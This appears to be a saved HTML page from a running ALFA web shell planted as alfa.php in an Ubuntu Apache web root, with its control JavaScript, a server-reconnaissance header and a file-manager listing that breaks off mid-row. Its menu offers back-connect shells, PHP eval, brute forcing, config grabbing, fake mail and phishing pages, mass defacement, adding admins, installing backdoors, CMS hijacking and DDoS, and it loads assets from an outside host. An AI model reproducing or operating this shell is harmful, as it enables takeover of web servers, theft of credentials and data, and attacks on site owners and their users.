loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" style="overflow: visible;"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<div id="a_loader" style="display: none;"><img src="http://solevisible.com/images/loader.svg"></div>
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1" value=""><input type="hidden" name="alfa2" value=""><input type="hidden" name="alfa3" value=""><input type="hidden" name="alfa4" value=""><input type="hidden" name="alfa5" value=""><input type="hidden" name="alfa6" value=""><input type="hidden" name="alfa7" value=""><input type="hidden" name="alfa8" value=""><input type="hidden" name="alfa9" value=""><input type="hidden" name="alfa10" value=""><input type="hidden" name="charset" value="Windows-1251">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">Tesla</span><br><small>Version: <span class="hidden_shell_version">4.1</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>::1</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ::1</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>2023-02-12 21:38:07</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>216.08 GB </b><span class="header_vars">Free:</span><b>184.32 GB [85%]</b></td>
</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" onclick="g("FilesMan","/")" path="/" href="#action=fileman&path=/">/</a><a class="header_pwd" onclick="g("FilesMan","/var/")" path="/var/" href="#action=fileman&path=/var/">var/</a><a class="header_pwd" onclick="g("FilesMan","/var/www/")" path="/var/www/" href="#action=fileman&path=/var/www/">www/</a><a class="header_pwd" onclick="g("FilesMan","/var/www/html/")" path="/var/www/html/" href="#action=fileman&path=/var/www/html/">html/</a> </span><a href="#action=fileman&path=/var/www/html" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a id="menu_opt_proc" href="#action=options&path=/var/www/html/&opt=proc" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=proc';g('proc',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Process</a></li>
<li><a id="menu_opt_phpeval" href="#action=options&path=/var/www/html/&opt=phpeval" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=phpeval';g('phpeval',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Eval</a></li>
<li><a id="menu_opt_sql" href="#action=options&path=/var/www/html/&opt=sql" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=sql';g('sql',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SQL Manager</a></li>
<li><a id="menu_opt_dumper" href="#action=options&path=/var/www/html/&opt=dumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=dumper';g('dumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Database Dumper</a></li>
<li><a id="menu_opt_coldumper" href="#action=options&path=/var/www/html/&opt=coldumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=coldumper';g('coldumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Column Dumper</a></li>
<li><a id="menu_opt_hash" href="#action=options&path=/var/www/html/&opt=hash" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=hash';g('hash',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">En-Decoder</a></li>
<li><a id="menu_opt_connect" href="#action=options&path=/var/www/html/&opt=connect" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=connect';g('connect',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BC</a></li>
<li><a id="menu_opt_zoneh" href="#action=options&path=/var/www/html/&opt=zoneh" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=zoneh';g('zoneh',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ZONE-H</a></li>
<li><a id="menu_opt_dos" href="#action=options&path=/var/www/html/&opt=dos" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=dos';g('dos',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DDOS</a></li>
<li><a id="menu_opt_safe" href="#action=options&path=/var/www/html/&opt=safe" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=safe';g('safe',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ByPasser</a></li>
<li><a id="menu_opt_cgishell" href="#action=options&path=/var/www/html/&opt=cgishell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cgishell';g('cgishell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Cgi Shell</a></li>
<li><a id="menu_opt_ssiShell" href="#action=options&path=/var/www/html/&opt=ssiShell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ssiShell';g('ssiShell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SSI SHELL</a></li>
<li><a id="menu_opt_cpcrack" href="#action=options&path=/var/www/html/&opt=cpcrack" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cpcrack';g('cpcrack',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Hash Tools</a></li>
<li><a id="menu_opt_portscanner" href="#action=options&path=/var/www/html/&opt=portscanner" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=portscanner';g('portscanner',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Port Scaner</a></li>
<li><a id="menu_opt_basedir" href="#action=options&path=/var/www/html/&opt=basedir" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=basedir';g('basedir',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Open BaseDir</a></li>
<li><a id="menu_opt_mail" href="#action=options&path=/var/www/html/&opt=mail" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=mail';g('mail',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Mail</a></li>
<li><a id="menu_opt_ziper" href="#action=options&path=/var/www/html/&opt=ziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ziper';g('ziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Compressor</a></li>
<li><a id="menu_opt_deziper" href="#action=options&path=/var/www/html/&opt=deziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=deziper';g('deziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DeCompressor</a></li>
<li><a id="menu_opt_IndexChanger" href="#action=options&path=/var/www/html/&opt=IndexChanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=IndexChanger';g('IndexChanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Index Changer</a></li>
<li><a id="menu_opt_pwchanger" href="#action=options&path=/var/www/html/&opt=pwchanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=pwchanger';g('pwchanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Add New Admin</a></li>
<li><a id="menu_opt_ShellInjectors" href="#action=options&path=/var/www/html/&opt=ShellInjectors" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ShellInjectors';g('ShellInjectors',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Shell Injectors</a></li>
<li><a id="menu_opt_php2xml" href="#action=options&path=/var/www/html/&opt=php2xml" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=php2xml';g('php2xml',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">PHP2XML</a></li>
<li><a id="menu_opt_cloudflare" href="#action=options&path=/var/www/html/&opt=cloudflare" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cloudflare';g('cloudflare',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CloudFlare</a></li>
<li><a id="menu_opt_Whmcs" href="#action=options&path=/var/www/html/&opt=Whmcs" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=Whmcs';g('Whmcs',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whmcs DeCoder</a></li>
<li><a id="menu_opt_symlink" href="#action=options&path=/var/www/html/&opt=symlink" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=symlink';g('symlink',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Symlink</a></li>
<li><a id="menu_opt_MassDefacer" href="#action=options&path=/var/www/html/&opt=MassDefacer" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=MassDefacer';g('MassDefacer',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Mass Defacer</a></li>
<li><a id="menu_opt_Crackers" href="#action=options&path=/var/www/html/&opt=Crackers" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=Crackers';g('Crackers',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BruteForcer</a></li>
<li><a id="menu_opt_searcher" href="#action=options&path=/var/www/html/&opt=searcher" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=searcher';g('searcher',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Searcher</a></li>
<li><a id="menu_opt_config_grabber" href="#action=options&path=/var/www/html/&opt=config_grabber" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=config_grabber';g('config_grabber',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Config Grabber</a></li>
<li><a id="menu_opt_fakepage" href="#action=options&path=/var/www/html/&opt=fakepage" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=fakepage';g('fakepage',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Page</a></li>
<li><a id="menu_opt_archive_manager" href="#action=options&path=/var/www/html/&opt=archive_manager" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=archive_manager';g('archive_manager',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Archive Manager</a></li>
<li><a id="menu_opt_cmshijacker" href="#action=options&path=/var/www/html/&opt=cmshijacker" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cmshijacker';g('cmshijacker',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CMS Hijacker</a></li>
<li><a id="menu_opt_remotedl" href="#action=options&path=/var/www/html/&opt=remotedl" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=remotedl';g('remotedl',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remote Upload</a></li>
<li><a id="menu_opt_inbackdoor" href="#action=options&path=/var/www/html/&opt=inbackdoor" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=inbackdoor';g('inbackdoor',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Install BackDoor</a></li>
<li><a id="menu_opt_whois" href="#action=options&path=/var/www/html/&opt=whois" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=whois';g('whois',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whois</a></li>
<li><a id="menu_opt_selfrm" href="#action=options&path=/var/www/html/&opt=selfrm" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=selfrm';g('selfrm',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remove Shell</a></li>
</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=/var/www/html/&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=settings';g('settings',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=/var/www/html/&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=market';g('market',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=/var/www/html/&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=aboutus';g('aboutus',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">About Us</a></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="/var/www/html/" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>html</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onclick="alfaFilesManNewTab(c_,'/',1);">New Tab +</div></div><script>alfa1_=alfa2_=alfa3_=""</script><div style="position: relative; min-height: 0px;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content">
<script>alfa1_=alfa2_=alfa3_=""</script><div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,'alfa_sort_by');" style="color:#25ff00;"><option value="name" selected="">Name</option><option value="size">Size</option><option value="modify">Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onchange="sortBySelectedValue(this,'alfa_filesman_direction')" style="color:#25ff00;"><option value="asc" selected="">Ascending</option><option value="desc">Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="0" oninput="this.value=this.value.replace(/[^0-9]/g,'');setCookie('alfa_limited_files', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">4</b></span></div><div class="header"><form onsubmit="fc(this);return false;" name="files" method="post"><table id="filemanager_table" width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th width="13px"><div class="myCheckbox" style="padding-left:0px;"><input type="checkbox" id="mchk71916" onclick="checkBox(this);" class="chkbx"><label for="mchk71916"></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr><tr class="fmanager-row" id="tr_row_0"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value=".." class="chkbx" id="checkbox_719160"><label for="checkbox_719160"></label></div></td><td id="td_row_0"><img src="http://solevisible.com/icons/back.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="0" id="id_0" class="main_name" onclick="g('FilesMan','/var/www');" href="#action=fileman&path=/var/www" fname=".." ftype="folder" path="/var/www/html/" opt_title=""><b>| .. |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 21:38:06</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_0" href="javascript:void(0)" onclick="editor('..','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span></a></td><td><a id="id_rename_0" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('..', 'rename','','','','dir')">R</a> <a id="id_touch_0" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('..', 'touch','','','','dir')">T</a><a id="id_delete_0" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # .. # ?'); chk ? g('FilesMan',null,'delete', '..') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_1"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="ALFA_DATA" class="chkbx" id="checkbox_719161"><label for="checkbox_719161"></label></div></td><td id="td_row_1"><img src="http://solevisible.com/icons/folder.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="1" id="id_1" class="main_name" onclick="g('FilesMan','/var/www/html/ALFA_DATA');" href="#action=fileman&path=/var/www/html/ALFA_DATA" fname="ALFA_DATA" ftype="folder" path="/var/www/html/" opt_title=""><b>| ALFA_DATA |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 21:38:07</span></td><td><span style="font-weight:unset;" class="main_owner_group">www-data/www-data</span></td><td><a id="id_chmode_1" href="javascript:void(0)" onclick="editor('ALFA_DATA','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxr-xr-x</span></a></td><td><a id="id_rename_1" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'rename','','','','dir')">R</a> <a id="id_touch_1" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'touch','','','','dir')">T</a><a id="id_delete_1" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # ALFA_DATA # ?'); chk ? g('FilesMan',null,'delete', 'ALFA_DATA') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_2"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="alfa.php" class="chkbx" id="checkbox_719162"><label for="checkbox_719162"></label></div></td><td id="td_row_2"><img src="http://solevisible.com/icons/php.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="2" id="id_2" 